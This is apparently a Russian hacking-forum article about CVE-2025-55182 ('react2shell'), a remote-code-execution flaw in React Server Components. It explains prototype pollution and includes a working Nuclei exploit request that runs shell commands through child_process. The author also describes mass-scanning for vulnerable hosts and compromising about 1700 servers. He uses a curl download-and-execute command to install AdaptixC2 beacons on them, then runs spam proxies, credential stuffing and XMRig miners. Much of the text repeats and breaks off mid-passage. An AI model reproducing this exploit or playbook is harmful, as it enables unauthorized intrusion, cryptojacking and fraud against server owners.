Приветствую все любопытные и заинтересованные умы, что кликнули на мою статейку.
Думаю, все слышали уже, все прожужжали, все инфоресурсы гремели этими новостями... в начале декабря была открыта связка из двух "опаснейших" уязвимостей, почти сразу получивших оценку в 10.0/10 по критериям CVSS: CVE-2025-55182 и её дубликат, CVE-2025-66478. Первая уязвимость была довольно быстра воспета всеми ресерчерами как нечто невероятно ужасное и потенциально опасное: Vercel и прочие конторы рассылали письма своим пользователям, наполненные техническими деталями. Письма, правда, довольно сухие и безэмоциональные, выглядящие скорее как "рекомендация к обновлению" в довольно принудительном тоне =)))
Образец такого паникерского "письма счастья" прикреплен чуть ниже (да, тоже есть товарищи с доменами и верселами).
Ну мы-то с вами знаем эти корпорации... нас ломят все, кому не лень, но все хорошо, правда, верьте нам))0).
Именно о оригинальной и первой установленной(дубликат для некста был позже) язве, обозванной в народе react2shell, и пойдет речь в этой статье.
Начнем, как говорится, с самых азов: попытаюсь раскрыть природу этой уязвимости для вас, уважаемых читателей, от корня к голове.
Что произошло? Техническая природа уязвимости.
Начнем с того, что тем читателям среди нас, кто в отличие от более опытных зрителей, может не знать, что это такое за зверёк, Prototype Pollution, следует объяснить природу этой уязвимости. Многие авторы и здесь, и на дьюти, и на других СНГ-ресурсах для инфобезопасников уже описывали достаточно многие нюансы всей многомерной и моментами сложной среды JS как таковой, но стоит описать это для большего понимания происходящего еще раз. Повторение - мать учения =)))
Сам по себе prototype pollution является ничем иным, как неким "загрязнением прототипов". Звучит сложно? Согласен, это не типичная и понятная из названия в своей сути язва вроде XSS(кросс-сайтовый скриптинг, ну что же тут может быть?)) или SQLi.
Однако суть куда проще, и кроется она на поверхности. Как ранее в своей довольно хорошо раскрытой статье озвучивал ocean, JS - зверёк чудной и прототипно-ориентированный. Есть объекты и примитивы. Примитивы сами по себе - нечто "ниже" по уровню абстракции, просто значение, такое как string, boolean и так далее. Они не имеют методов и состояния: оно и понятно, ведь они - лишь "носитель" разных значений.
Объекты - нечто логически более "наполненное". Они тяжелее, выше. Так просто они уже не работают: передаются ссылками - прямыми обращениями, Есть и механика оберток, нам можно применять методы к конкретным значениям-примитивам =)
Так вот и у каждого объекта есть свой прототип, чуть "ниже" уровнем в абстракции. Словно бы пирамидка, но сложенная кверху попой, где все начинается с одного блока, но выше и выше ширина в блоках становится все больше. У методов есть конструкторы, у конструкторов есть прототипы, как и у любых объектов, и у тех тоже есть прототипы... голова закипит, если думать о таком слишком долго.
Объекты наследуют свой прототип через proto, он же prototype, или через Object.getPrototypeOf. Второй случай мало чем отличается, просто если у объекта нет собственного заданного свойства, среда попытается найти его сама в цепочке прототипов.
К чему это? У всех объектов есть некие свойства. Свойства могут быть разные, могут быть вообще заданы в самом коде собсна программистом. Простейший пример:
name - свойство, заданное obj нами самими. Тут все понятно. Но ведь прототип, а если точнее ссыль на него, это тоже своего рода свойство, пусть и несколько отличное от обычного этого понятия в жабаскрипте =))
И тут и кроется понимание этой уязвимости. Все "высокие" по уровню абстракции функции строятся на чем-то до них, и являются лишь более понятным человеку "языком", ближе к родной так сказать речи. Но мы можем подменять то, что делает конкретная штуковина, подменив ее объект-родитель, к которому она вроде как должна отсылаться.
Для большего понимания можно произвести хоть и не совсем корректное, но все же понятное сравнение с алиасами, так знакомыми многим пентестерам. Скажите же, удобно просто писать export URL= и прожимать алиас subrecon, чем самому долго и нудно фигачить subfinder -d url_domain -all -o и так далее?)) В этом случае лишь меняется то, что делает этот алиас: "сабфайндер" меняется на какой-то wget + chmod + ./. Бабах, и система на рутките... неприятно, правда?)
Крайне упрощенный результат работы той самой "подмены прототипа" изображен на скриншоте.
Так и работает загрязнение прототипов). Мы делаем "родителей" у конкретных штуковин "злыми", и они делают то, что нам нужно, а тут аттракцион уже зависит от самого стека: от простых DoS до сложных в своей цепочке атак, приводящих к аккаунт тейковерам, захвату админки или даже RCE(более "техническая" штука, чем логические манипуляции).
В контексте загрязнения прототипа существует и вполне ясная классификация: гаджет, источник и приемник. Приемник американизированная индустрия пентеста обзывает синком. Тут все понятно из названий: в источнике появится вредоноска, в гаджете(логический элемент), где данные каким-то из возможных образов обрабатываются, вредоноска будет перенесена в приемник - место, где вредоноска исполнится. Так можно описать большинство сценариев Prototype Pollution, происходящих на клиентсайде - у вас на машинке. Может быть опасно кстати, приводит к XSS, а это как мы знаем штука злая. Могут и кукисы спереть.
Серверсайд эта же язва выглядит чуть иначе.
Вуля замечательная, и я советую всем ее полапать - ее опять же многие упускают, что крайне обидно, награды-то солидные для багхантеров
Лабы портсвиггера вам в помощь, ребятки. В свое время очень многому научили - как минимум, клацать бёрп и +- крепко понимать "работу" вуль.
Для нашего же сегодняшнего кейса упомянем, что существует довольно обширная классификация видов загрязнения прототипов как по допустим месту действия(клиент, сервер), так и по своему механизму. Наш сегодняшний гость - небезопасная дисериализация.
Пройдя пару лаб, или почитав статью ocean по теме на DutyFree(на XSS тоже стопроцентно есть несколько хороших авторов: язва крайне интересная и "дорогая" для компаний, багхантеры много за нее получают, о ней стопудов кто-то еще писал), вы можете увидеть, как используются гаджет, источник и приемник. Киллчейн в целом понятен, проходимый путь - тоже.
Реакт - штука довольно сложная под капотом, если не знать, что копать, и ни разу с ним не работать. Рассмотрим только нужное, об остальном расскажут всякие дб по вулям, в вебе слава богу их навалом.
В реакте существует отдельный протокол, имя этому гаду нечестивому, провинившемуся и натворившему немало бед, React Flight. Он нужен, чтобы передовать RSC-пэйлоды - компоненты, буквально говоря. React Server Components. Думаю, понятно, что тягаются они меж клиентом и сервером по конкретно этому протоколу.
Рассмотрим для понимания статистику, любезно позаимствованную от информационного ресурса wiz.io - западных ребятишек, занимающихся разработкой решений из мира ИБ и анализом прошедших инцидентов:
45% сред облачки и не только имеют на себе как минимум 1 уязвимых React-проект? Что ж, язва действительно массовая и слова о "чудовищности" инцидента как мне кажется оправданы.
Вот почему в первые часы после публикации первых PoC-эксплоитов с "рабочим" запросом случилось "нашествие китайцев". Просто и изящно: легко искать через поисковые движки ибшников вроде FOFA и Shodan, единственный критерий для выборки - версия(большинство поисковиков ее могут достаточно точно определить и хранит в дальнейшем). Выгрузил да полетел. К запросу и "китайцам" мы вернемся.
Корень зла здесь таится в том, что может передаваться по этому React Flight - в функциях десериализации, таких как decodeReply из react-server-dom-webpack/server и requireModule из react-server-dom-parcel, где поломалась валидация типов и проверка свойств объектов перед их разрешением
Более точный чейн можно описать как отсутствие адекватной санитизации - "выборки" и удаления всего вредоносного, как и при скулях/других инжективных вулях или чему-то подобному. Санитизация на этапе клиент-сервер в случае SQLi удаляет все вредоносное и просто непозволительное, санитизация здесь не позволяет создавать последовательности объектов, которые переопределяли бы прототипы. Короче говоря, нам не дают отправлять те самые гадкие строки, способные подменить значение у конкретного объекта - значение его прототипа. Сама по себе дисериализация работает у реакта так, что все эти запросы, так как HTTP там многочанковый, обрабатываются в формате json-подобной структуры. Чанки содержат ссылки - референсы. Их и эксплойтят, так и произошла эта гадость.
Допустим, компонент requireModule до патча содержал следующий уязвимый блочок:
export function requireModule(metadata: ClientReference): T {
const moduleExports = parcelRequire(metadata[ID]);
return moduleExports[metadata[NAME]]; ###корень зла
}
Да, суть уязвимости лежит на поверхности.
Метадата тут берется из невалидированного входа... так и вбивается "клин" в этот код, который подменяет прототип "moduleExports". Просто? Да. Изящно? Словами не описать. Ведь в итоге переопределяются свойства "then" через "$1:proto
hen", Function Constructor через _formData.get попадается к нам в доступ, далее происходит инъекция через _prefix - вредоносный код выполняется через Function()(ну не мудрено, мы же фанкшен конструктор взяли в ручки)... Почитайте сорцы - это поучительно.
Возьмем хороший PoC с гитхаба(темплейт под нуклей прилагается!) - https://github.com/sickwell/CVE-2025-55182. Посмотрим на "сырой запрос" из коробки - он есть как раз таки в темплейте.
Да, все в целом как мы и описали. Пэйлод оформлен под "легитимник", под обычный запрос. Есть имена чанков, вот эта вот штука name="0-2". Их дисериализатор как раз воспринимает за последовательные части RSC-потока. Каждая часть, как и видим, это JSON или строка которая на него ссылается/ссылается на другие чанки. Потому в поке и оставлены рандстринги - мы иммитируем легитимный и правильный запрос через отсылки на рандомные валидные имена чанков. Нейм 0 - основной гаджет, мы в нем загрязняем прототип и оставляем команду для RCE. Тут безобидный id. Нейм 1 - не менее важен, он ссылается на чанк 0 через $@0, короче говоря заставляет его обработать как Promise - важно для триггера. Ну и нейм 2 - пустая заглушка.
Мы всего-то вызываем цепочки с then(), но есть нюанс. Мы его переопределили =)
Смотря на эту странную строчку в чанке0, видим, что сначала через "status":"resolved_model" мы пытаемся втирать реакту на серьезных щах, что все легитимно и это готовая модель для дисериализации. "then":"$1:proto
hen" - гаджет, это примерно видно по его внешке. proto говорит за него)). Но вот этот $1 запускает рекурсивные "бега друг за другом" - ссылается на чанк1, который сам как мы видим ссылается на чанк0. По итогу загрязняем и переопределяем then на кастомку, которую мы ему внушили.
Че дальше? Да все просто, есть вложенный объект, который покроется hexом. Вместо then() вызывается его кастомный и злой близнец, он перенаправляет нас на свойства _response. В нем происходит все самое злое, после чего появляется _prefix. Он будет исполнен, он - RCE.
В итоге все оборвется на заглушке. Скриншот от исследователей с уже выявленной активностью и операциями, берущими в свою основу эту уязву, представлен ниже. Компаний, как вы видите, уважаемые читатели, уже немало. Ну а что? =) Эксплойтить легко, собирать таргеты легко, порог входа крайне низок.
С теорией покончили... пора переходить к самому интересному: к практике.
От нудятины к практике
Я решил опробовать эту уязвимость на деле. Сначала я искал по scope(листу целей) на различных BugBounty-программах приложения на React и Next.JS, искал привязанные к компаниям сабдомены, и везде баловался с этим темплейтом. Не буду из нужд этичности в таких программах публиковать то, что нашел там: все таки честь нужно иметь - они выплатили находки. Скажу лишь то, что найденных цели было 2 штуки. И да, ресурс - HackerOne.
Перейдем к поиску "в открытом интернете", и тут вариантов на самом деле множество. Для начала попробуем воспользоваться Shodan, слава богу учетки у него довольно легко абузить edu-почтами.
Дорка, которую я применял, довольно проста - все равно все будет отсмотрено с помощью удобнейшего Nuclei. Искал буквально всех:
Ничего себе, на самом деле. Огромное количество, непаханное поле... но есть проблема: просто поиск выдаст множество не origin-вариантов, а доменов. Ко многим доменам подключен Cloudflare, а он почти сразу был "научен" блокировать попытки эксплуатировать такое, и без истинного IP-адреса хоста и дополнительно еще и мисконфигураций(например, доступ "прямого характера") нам там делать будет нечего. Сузим поиск:
Скачиваем результаты в свой domains.txt. Шодан удобный, шодан позволяет. Что ж, пора поутюжить это нашей нуклей и новомодным молодежным темплейтиком.
Хопана, какой сытный ужин. Извините за обрезанную фотку, результатов куда больше, но сюда большие фото грузить запрещают.
Ничего сложного: proxychains nuclei -l url.txt -t custom/cve-2025-55182.yml(проксичейнз юзаю, чтобы такой шумихой не зафродить свои прокси и чтобы один адрес не приняли за адрес китайского аптера, отрыгивающего новый ботнет).
Мноооооого потенциальных таргетов(и не меньше ханипотов
). В первые часы багхантеры хакервана и багкрауда били огромнейшие выигрыши в 5-7 тысяч долларов тупо за запуск нукли после шодана - куча "гигантов" индустрии этим болели. Но это - законный и этичный формат хакинга, он полезен. Но только простым людям, их безопасность становится еще более крепкой. Их данные не утекут, а сервисы будут работать по-доброму и замечательно.
Но это лишь так называемый Proof-of-Concept, демонстрация уязвимости. Через id видеть юзеров или создавать флажки через echo "Pwned" > /root/hello.txt создавать неинтересно. Я начал думать о том, как можно получить пользу для себя помимо Bug Bounty - все уже заклацали индусы.
Многие эксплоиты, сделанные на стандартном пайтоновом requests, кривы и каличны. Неадекватно отправляют этот запрос, практически не работают. Потому, просто можно немножко переделать сам темплейт нуклея: нуклей - удобный инструмент, поддерживает длинные команды из нескольких утилит и RCE по этому темплейту он дает.
Но как искать уязвимые объекты? Да, вариантов множество. В целом, для себя я выделил три варианта: ползать по диапазонам, "популярным" среди node-разрабов, мучать шодан и фофу дорками и использовать гугл-доркинг: некст-приложения можно находить через особенные для них структуры веб-директорий. Ссылки, короче говоря. dorks-eye(https://github.com/BullsEye0/dorks-eye)/другие beautifulsoap-базированные решения и proxychains вам в помощь, только проксей почище возьмите, чтобы вас подольше в капчи не уводило.
С Shodan/FOFA все довольно очевидно, думаю, все могут нажать на кнопочку "download results". С доркингом по гуглу я возиться попросту не стал - огромное количество ненужной мороки, дороговизна чистых прокси под такого объема парсинг.
Попробовал третий интересный вариант - посканировать диапазоны. Первым взял довольно популярный, европейский, диапазон:
Первые 5% скана показались какими-то "вялыми". Да, к слову, специально искал 3000-3010 порты, на скрине - скан только с 3к. Они специфичны для особенно уязвимых таких приложений, но в целом просто являются чем-то обыденным для Next.JS и чистого реакта. В итоге результатов насобиралось порядка 140 штук. Скриншот, к сожалению, не сохранился
- я ну очень старался обогнать "китайцев" в этой гонке вооружений, простите покорного слугу.
Тут нет ничего особенно сложного, из полученных результатов вычленяем адреса и прогоняем через httpx-toolkit:
Определяем, разумеется, как цели для себя только тех, у кого не 404 и не 500-ки, и где есть нужные нам реакт и некст.js. Можно собрать все в одну логическую цепочку и автоматизироваться донельзя:
cat targets.txt | httpx-toolkit -td -server -title -sc -mc 200 | grep -E "(Next\.js|React)" | awk '{print $1}' | tee valid.txt
Объяснять, думаю, сильно не надо. Добавили настроечку -mc(match-code), ищем таргетированно только нужные статускоды - хттпх очень продуман для багхантеров, как и вся продукция projectdiscovery. Можно опосля и все завести на nuclei сразу же:
cat valid.txt | proxychains nuclei -c 30 -t путьквашему_темплейту
По итогу собрал результаты масскана и шодана воедино, произвел удаление дубликатов через инструменты линукса "из коробки" - команда sort имбища, и получил широченный лист на 1700 потенциальных целей. На всех из них были подтверждены RCE через наш темплейтик.
Лист внушителен... но что я собрался с ним делать-то сейчас, спросите вы?
Решение пришло в голову быстро: нужно успеть собрать, пока китайцы не изобрели велосипед и не выдвинули решение, которое после "захвата" будет прерывать любые команды вроде curl, wget и так далее, не давая забрать мишень себе. Собрать как можно больше.
Но для начала... немного матчасти, и определимся сразу с киллчейном после этого этапа. Да и знать о нашей поверхности атаки нужно побольше.
Начнем с очень важного момента: приложения с реактом или некстухой чаще всего не разворачиваются "наголо" - мы чаще всего будем сталкиваться с технологиями контейнеризации. У некста/реакта - свой отдельный контейнер, отдельный от бд и голого хоста, разумеется. И это очень важно: массовая охота за бдшками тут не увенчается успехом, если у вас конечно нет офиса.
Контейнеризация? И хорошо, и плохо. Чем же это хорошо, спросите вы меня. А я отвечу так. Вы часто видите админов, которые на полном серьезе и не увиливая от этих обязанностей бегают на хост в docker exec и смотрят прямо все процессы, занимаемые ресурсы ими в частности и вещи вроде сокетов? Ответ простой, нет. И это наше преимущество.
Но и филонить в вопросах пивотинга и установки постоянного доступа не стоит.
Следующий немаловажный момент - многие места, куда приземлится наш маячок, куда прилетает RCE, стоят на альпине. Alpine, такая достаточно неприятная, "обрезанная", даже так обзову, линусь. Во многих образах и нет дефолтных wget/curl/git - ну а зачем? Учтем это в наших планах.
Итого, у меня вышел следующий план. Сначала RCE, потом установка первичного скрипта, который поможет нам установить какой-то beacon. Установить хорошо, даже спрятать.
Принял решение использовать программу AdaptixC2, я фанат опенсорса. Вы можете выбрать то, что удобнее вам. Думаю, вполне очевидно(обговаривалось не раз многими талантливыми ребятами отсюда), что нужно и спрятать наш командный сервер. Я прикупил дешевенький домен с no-KYC платформы в телеграме, повесил на него клаудфлейр и подключил к впске. На впске развернул AdaptixServer - там все делается просто, с одного make.
Единственное что, для нужд "Отсутствия палева" я заменил страницу 404 на свою, чтобы не было пущего палева, что серверок-то непростой. Вот такая красота была у меня:
Каждый может найти такие же странички, и даже стандартный нгинкс-404, на гитхабе. Уже меньше проблем с ресерчерами и любопытными админами. Понятное дело, что и beacon сконфигурировал на HTTP-формат. Чтобы все ходило через реверс-прокси нашего клауда на домене. Не светим нашим сервером, для пущего опсека.
Я предпочитаю работать с RDP, так что установил на один из RDP AdaptixClient, собрав его через Qt:
Прямо на гите адаптикса есть ссылка на их гитбук с документацией. Всем советую к прочтению, много полезного. К настройкам адаптикса более глубоким пока притрагиваться не буду - тема, как мне кажется, для целого отдельного поста. Все заработало, решил, что скачивать маячки и первичный(инициализирующий скачивание полезной нагрузки - маячка) скрипт буду с того же домена хостить. Почему бы и нет? Безопасность всегда хороша.
Как итог, командная инъекция в темплейте с id была заменена на следующий формат:
apk add curl;curl -sf https://x.y.z.m/ccc -o /tmp/update&&chmod +x /tmp/update&&/tmp/update
Просто, действенно, работает. Мы добавляем curl в этот образ, если его нет, потом инициализируем скачивание скрипта, переименовываем его как закос под что-то легитимное, делаем исполняемым, запускаем. Куда интереснее то, что в самом скрипте, не правда ли?
Вот такое я набросал за пару минут в vim и поиспытывал на соседней виртуалке:
Все еще просто? Именно так. Но каков результат... запускаем экспериментально, на первых двух таргетах. Иииииии...
Барабанная дробь...
+2 юзера у нас. Все встает, и мы можем начинать лазить, использовать полученное железо в своих целях, искать соседушек-китайцев(правда, когда они ставят Mirai-подобные закосы под "нормальный малварь", наклепанный с горе-гпт впополам, все попытки скачивания чего-то на хост обрываются. Будете видеть killed, и все).
Цель использования? Да самая разная. Я насобирал довольно много таких серверов, ставил самые разные штуки: от squid под создание прокси на нужды спама и credential stuffing(брута с перебором учеток на чьей-то вебаппке)) и до каких-то XMRig(до сих пор стоит на 19 серверах, полученных во второй же день, до того, как стали плотно разворачивать ханипоты). Мелочь, а приятно!
Кстати говоря, братья-китайцы совсем не ценят это железо, неграмотно пивотятся и абсолютно бездарнейшим образом используют. Вот пример типичного китайца, взявшего дедик:
Ну, телнеты лавовых лампочек и зубных щеток под DDoS сами себя не сбрутят... удачи им в этом деле. Обычно их палили за час-два по безумной нагрузке на сеть(докер же не делает тебя невидимкой, хосту ведь больно)) и на цпу. Но я из вредности убивал их ботнеты, ища через lsof и ps первопричину и ремувая ее, опосля закрывая все "лишние процессы")). Ну, сами виноваты, чего скажу.
Вот такая вот недо-APT операция у меня вышла за пару дней... интересно? Бесспорно. Но не сильно полезно. Хотя и сервера я в первое время решил активно пофармить, развернул целую автоматизированную инфру: сервер-поисковик и сервер-управляющий. Сидишь, пьешь чай, а там:
Надеюсь, что был полезен. Пообщаться, услышать мнение других людей и узнать что-то новое всегда рад... всем удачи и хороших багрепортов)). Делайте ваши страны гораздо защищеннее, чем они есть сейчас. Делайте благие дела для тех, кто будет после вас, peace).
Думаю, все слышали уже, все прожужжали, все инфоресурсы гремели этими новостями... в начале декабря была открыта связка из двух "опаснейших" уязвимостей, почти сразу получивших оценку в 10.0/10 по критериям CVSS: CVE-2025-55182 и её дубликат, CVE-2025-66478. Первая уязвимость была довольно быстра воспета всеми ресерчерами как нечто невероятно ужасное и потенциально опасное: Vercel и прочие конторы рассылали письма своим пользователям, наполненные техническими деталями. Письма, правда, довольно сухие и безэмоциональные, выглядящие скорее как "рекомендация к обновлению" в довольно принудительном тоне =)))
Образец такого паникерского "письма счастья" прикреплен чуть ниже (да, тоже есть товарищи с доменами и верселами).
Ну мы-то с вами знаем эти корпорации... нас ломят все, кому не лень, но все хорошо, правда, верьте нам))0).
Именно о оригинальной и первой установленной(дубликат для некста был позже) язве, обозванной в народе react2shell, и пойдет речь в этой статье.
Начнем, как говорится, с самых азов: попытаюсь раскрыть природу этой уязвимости для вас, уважаемых читателей, от корня к голове.
Что произошло? Техническая природа уязвимости.
Начнем с того, что тем читателям среди нас, кто в отличие от более опытных зрителей, может не знать, что это такое за зверёк, Prototype Pollution, следует объяснить природу этой уязвимости. Многие авторы и здесь, и на дьюти, и на других СНГ-ресурсах для инфобезопасников уже описывали достаточно многие нюансы всей многомерной и моментами сложной среды JS как таковой, но стоит описать это для большего понимания происходящего еще раз. Повторение - мать учения =)))
Сам по себе prototype pollution является ничем иным, как неким "загрязнением прототипов". Звучит сложно? Согласен, это не типичная и понятная из названия в своей сути язва вроде XSS(кросс-сайтовый скриптинг, ну что же тут может быть?)) или SQLi.
Однако суть куда проще, и кроется она на поверхности. Как ранее в своей довольно хорошо раскрытой статье озвучивал ocean, JS - зверёк чудной и прототипно-ориентированный. Есть объекты и примитивы. Примитивы сами по себе - нечто "ниже" по уровню абстракции, просто значение, такое как string, boolean и так далее. Они не имеют методов и состояния: оно и понятно, ведь они - лишь "носитель" разных значений.
Объекты - нечто логически более "наполненное". Они тяжелее, выше. Так просто они уже не работают: передаются ссылками - прямыми обращениями, Есть и механика оберток, нам можно применять методы к конкретным значениям-примитивам =)
Так вот и у каждого объекта есть свой прототип, чуть "ниже" уровнем в абстракции. Словно бы пирамидка, но сложенная кверху попой, где все начинается с одного блока, но выше и выше ширина в блоках становится все больше. У методов есть конструкторы, у конструкторов есть прототипы, как и у любых объектов, и у тех тоже есть прототипы... голова закипит, если думать о таком слишком долго.
Объекты наследуют свой прототип через proto, он же prototype, или через Object.getPrototypeOf. Второй случай мало чем отличается, просто если у объекта нет собственного заданного свойства, среда попытается найти его сама в цепочке прототипов.
К чему это? У всех объектов есть некие свойства. Свойства могут быть разные, могут быть вообще заданы в самом коде собсна программистом. Простейший пример:
JavaScript:
let obj = {};
obj.name = "Артем";
console.log(obj.name); ##мы увидим свойство объекта "name", которые мы задали сами
console.log(obj.toString); ##мы увидим наследованный от Object.Prototype, "всеобщего родителя", [Function]
name - свойство, заданное obj нами самими. Тут все понятно. Но ведь прототип, а если точнее ссыль на него, это тоже своего рода свойство, пусть и несколько отличное от обычного этого понятия в жабаскрипте =))
И тут и кроется понимание этой уязвимости. Все "высокие" по уровню абстракции функции строятся на чем-то до них, и являются лишь более понятным человеку "языком", ближе к родной так сказать речи. Но мы можем подменять то, что делает конкретная штуковина, подменив ее объект-родитель, к которому она вроде как должна отсылаться.
Для большего понимания можно произвести хоть и не совсем корректное, но все же понятное сравнение с алиасами, так знакомыми многим пентестерам. Скажите же, удобно просто писать export URL= и прожимать алиас subrecon, чем самому долго и нудно фигачить subfinder -d url_domain -all -o и так далее?)) В этом случае лишь меняется то, что делает этот алиас: "сабфайндер" меняется на какой-то wget + chmod + ./. Бабах, и система на рутките... неприятно, правда?)
JavaScript:
const obj = { name: 'Sosiska' };
console.log("До:", obj.toString()); ###увидим крайне типичный вывод, object Object - простая работа toString, смотрим на типичный Object
Object.prototype.toString = function() { ###подменим прототип функции - ее "родителя" - на свою функцию вместо ее настоящего "родителя" из конструктора
return 'Где деньги, Лебовски?';
};
console.log("После:", obj.toString());
Крайне упрощенный результат работы той самой "подмены прототипа" изображен на скриншоте.
Так и работает загрязнение прототипов). Мы делаем "родителей" у конкретных штуковин "злыми", и они делают то, что нам нужно, а тут аттракцион уже зависит от самого стека: от простых DoS до сложных в своей цепочке атак, приводящих к аккаунт тейковерам, захвату админки или даже RCE(более "техническая" штука, чем логические манипуляции).
В контексте загрязнения прототипа существует и вполне ясная классификация: гаджет, источник и приемник. Приемник американизированная индустрия пентеста обзывает синком. Тут все понятно из названий: в источнике появится вредоноска, в гаджете(логический элемент), где данные каким-то из возможных образов обрабатываются, вредоноска будет перенесена в приемник - место, где вредоноска исполнится. Так можно описать большинство сценариев Prototype Pollution, происходящих на клиентсайде - у вас на машинке. Может быть опасно кстати, приводит к XSS, а это как мы знаем штука злая. Могут и кукисы спереть.
Серверсайд эта же язва выглядит чуть иначе.
Вуля замечательная, и я советую всем ее полапать - ее опять же многие упускают, что крайне обидно, награды-то солидные для багхантеров
Лабы портсвиггера вам в помощь, ребятки. В свое время очень многому научили - как минимум, клацать бёрп и +- крепко понимать "работу" вуль.
Для нашего же сегодняшнего кейса упомянем, что существует довольно обширная классификация видов загрязнения прототипов как по допустим месту действия(клиент, сервер), так и по своему механизму. Наш сегодняшний гость - небезопасная дисериализация.
Пройдя пару лаб, или почитав статью ocean по теме на DutyFree(на XSS тоже стопроцентно есть несколько хороших авторов: язва крайне интересная и "дорогая" для компаний, багхантеры много за нее получают, о ней стопудов кто-то еще писал), вы можете увидеть, как используются гаджет, источник и приемник. Киллчейн в целом понятен, проходимый путь - тоже.
Реакт - штука довольно сложная под капотом, если не знать, что копать, и ни разу с ним не работать. Рассмотрим только нужное, об остальном расскажут всякие дб по вулям, в вебе слава богу их навалом.
В реакте существует отдельный протокол, имя этому гаду нечестивому, провинившемуся и натворившему немало бед, React Flight. Он нужен, чтобы передовать RSC-пэйлоды - компоненты, буквально говоря. React Server Components. Думаю, понятно, что тягаются они меж клиентом и сервером по конкретно этому протоколу.
Рассмотрим для понимания статистику, любезно позаимствованную от информационного ресурса wiz.io - западных ребятишек, занимающихся разработкой решений из мира ИБ и анализом прошедших инцидентов:
45% сред облачки и не только имеют на себе как минимум 1 уязвимых React-проект? Что ж, язва действительно массовая и слова о "чудовищности" инцидента как мне кажется оправданы.
Вот почему в первые часы после публикации первых PoC-эксплоитов с "рабочим" запросом случилось "нашествие китайцев". Просто и изящно: легко искать через поисковые движки ибшников вроде FOFA и Shodan, единственный критерий для выборки - версия(большинство поисковиков ее могут достаточно точно определить и хранит в дальнейшем). Выгрузил да полетел. К запросу и "китайцам" мы вернемся.
Корень зла здесь таится в том, что может передаваться по этому React Flight - в функциях десериализации, таких как decodeReply из react-server-dom-webpack/server и requireModule из react-server-dom-parcel, где поломалась валидация типов и проверка свойств объектов перед их разрешением
Более точный чейн можно описать как отсутствие адекватной санитизации - "выборки" и удаления всего вредоносного, как и при скулях/других инжективных вулях или чему-то подобному. Санитизация на этапе клиент-сервер в случае SQLi удаляет все вредоносное и просто непозволительное, санитизация здесь не позволяет создавать последовательности объектов, которые переопределяли бы прототипы. Короче говоря, нам не дают отправлять те самые гадкие строки, способные подменить значение у конкретного объекта - значение его прототипа. Сама по себе дисериализация работает у реакта так, что все эти запросы, так как HTTP там многочанковый, обрабатываются в формате json-подобной структуры. Чанки содержат ссылки - референсы. Их и эксплойтят, так и произошла эта гадость.
Допустим, компонент requireModule до патча содержал следующий уязвимый блочок:
export function requireModule(metadata: ClientReference): T {
const moduleExports = parcelRequire(metadata[ID]);
return moduleExports[metadata[NAME]]; ###корень зла
}
Да, суть уязвимости лежит на поверхности.
Метадата тут берется из невалидированного входа... так и вбивается "клин" в этот код, который подменяет прототип "moduleExports". Просто? Да. Изящно? Словами не описать. Ведь в итоге переопределяются свойства "then" через "$1:proto
Возьмем хороший PoC с гитхаба(темплейт под нуклей прилагается!) - https://github.com/sickwell/CVE-2025-55182. Посмотрим на "сырой запрос" из коробки - он есть как раз таки в темплейте.
http:
- method: POST
path:
- "{{BaseURL}}"
headers:
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/17.2.1 Safari/605.1.15
Next-Action: x
Accept: text/x-component
Accept-Language: en-US,en;q=0.9
Accept-Encoding: gzip, deflate
Connection: keep-alive
Cache-Control: no-cache
Content-Type: multipart/form-data; boundary=----WebKitFormBoundary{{randstr_1}}
body: |
------WebKitFormBoundary{{randstr_1}}
Content-Disposition: form-data; name="0"
{"then":"$1:protohen","status":"resolved_model","reason":-1,"value":"{\"then\":\"$B1337\"}","_response":{"_prefix":"var r=process.mainModule.require('child_process').spawnSync('sh',['-c','id'],{encoding:'utf8',timeout:5000});var res=r.stdout||r.stderr||'';throw Object.assign(new Error('NEXT_REDIRECT'),{digest:NEXT_REDIRECT;push;/login?a=${res.trim()};307;});","_chunks":"$Q2","_formData":{"get":"$1:constructor:constructor"}}}
------WebKitFormBoundary{{randstr_1}}
Content-Disposition: form-data; name="1"
"$@0"
------WebKitFormBoundary{{randstr_1}}
Content-Disposition: form-data; name="2"
[]
------WebKitFormBoundary{{randstr_1}}--
Да, все в целом как мы и описали. Пэйлод оформлен под "легитимник", под обычный запрос. Есть имена чанков, вот эта вот штука name="0-2". Их дисериализатор как раз воспринимает за последовательные части RSC-потока. Каждая часть, как и видим, это JSON или строка которая на него ссылается/ссылается на другие чанки. Потому в поке и оставлены рандстринги - мы иммитируем легитимный и правильный запрос через отсылки на рандомные валидные имена чанков. Нейм 0 - основной гаджет, мы в нем загрязняем прототип и оставляем команду для RCE. Тут безобидный id. Нейм 1 - не менее важен, он ссылается на чанк 0 через $@0, короче говоря заставляет его обработать как Promise - важно для триггера. Ну и нейм 2 - пустая заглушка.
Мы всего-то вызываем цепочки с then(), но есть нюанс. Мы его переопределили =)
Смотря на эту странную строчку в чанке0, видим, что сначала через "status":"resolved_model" мы пытаемся втирать реакту на серьезных щах, что все легитимно и это готовая модель для дисериализации. "then":"$1:proto
Че дальше? Да все просто, есть вложенный объект, который покроется hexом. Вместо then() вызывается его кастомный и злой близнец, он перенаправляет нас на свойства _response. В нем происходит все самое злое, после чего появляется _prefix. Он будет исполнен, он - RCE.
В итоге все оборвется на заглушке. Скриншот от исследователей с уже выявленной активностью и операциями, берущими в свою основу эту уязву, представлен ниже. Компаний, как вы видите, уважаемые читатели, уже немало. Ну а что? =) Эксплойтить легко, собирать таргеты легко, порог входа крайне низок.
С теорией покончили... пора переходить к самому интересному: к практике.
От нудятины к практике
Я решил опробовать эту уязвимость на деле. Сначала я искал по scope(листу целей) на различных BugBounty-программах приложения на React и Next.JS, искал привязанные к компаниям сабдомены, и везде баловался с этим темплейтом. Не буду из нужд этичности в таких программах публиковать то, что нашел там: все таки честь нужно иметь - они выплатили находки. Скажу лишь то, что найденных цели было 2 штуки. И да, ресурс - HackerOne.
Перейдем к поиску "в открытом интернете", и тут вариантов на самом деле множество. Для начала попробуем воспользоваться Shodan, слава богу учетки у него довольно легко абузить edu-почтами.
Дорка, которую я применял, довольно проста - все равно все будет отсмотрено с помощью удобнейшего Nuclei. Искал буквально всех:
